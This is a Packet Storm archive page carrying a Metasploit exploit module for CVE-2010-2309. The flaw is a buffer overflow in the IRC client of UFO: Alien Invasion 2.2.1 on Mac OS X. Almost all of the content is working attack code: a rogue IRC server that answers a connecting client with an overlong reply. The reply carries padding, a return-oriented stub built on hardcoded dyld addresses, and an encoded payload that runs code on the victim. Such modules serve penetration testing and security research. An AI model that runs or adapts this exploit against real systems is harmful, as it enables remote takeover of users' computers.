what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

UFO: Alien Invasion IRC Client Buffer Overflow Exploit

UFO: Alien Invasion IRC Client Buffer Overflow Exploit
Posted Jul 2, 2010
Authored by Jason Geffner | Site metasploit.com

This Metasploit module exploits a buffer overflow in the IRC client component of UFO: Alien Invasion 2.2.1.

tags | exploit, overflow
advisories | CVE-2010-2309
SHA-256 | 0efd72a52f0a3217a18642d2b292cb7590c04518e472422e8a05956140bcbe33

UFO: Alien Invasion IRC Client Buffer Overflow Exploit

Change Mirror Download
##
# $Id: ufo_ai.rb 9659 2010-07-02 00:10:51Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',
'Description' => %q{
This module exploits a buffer overflow in the IRC client component
of UFO: Alien Invasion 2.2.1.
},
'Author' =>
[
'Jason Geffner', # Original Windows PoC Author
'dookie' # OSX Exploit Author
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9659 $',
'References' =>
[
[ 'CVE', '2010-2309' ],
[ 'OSVDB', '65689' ],
[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x0d",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Platform' => 'osx',
'Targets' =>
[
[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
{
'Arch' => ARCH_X86,
'Offset' => 524,
'Writable' => 0x8fe66448, # dyld __IMPORT
# The rest of these addresses are in dyld __TEXT
'setjmp' => 0x8fe1cf38,
'strdup' => 0x8fe210dc,
'jmp_eax' => 0x8fe01041
}
]
],
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
], self.class)
end


def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret

frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret

setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
jmp_eax = target['jmp_eax']

exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end


def on_client_connect(client)

print_status("Got client connection...")

offset = target['Offset']

buffer = "001 :"
buffer << rand_text_alpha_upper(offset)
buffer << make_exec_payload_from_heap_stub()
buffer << make_nops(16)
buffer << payload.encoded
buffer << "\x0d\x0a"

print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
client.put(buffer)

end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close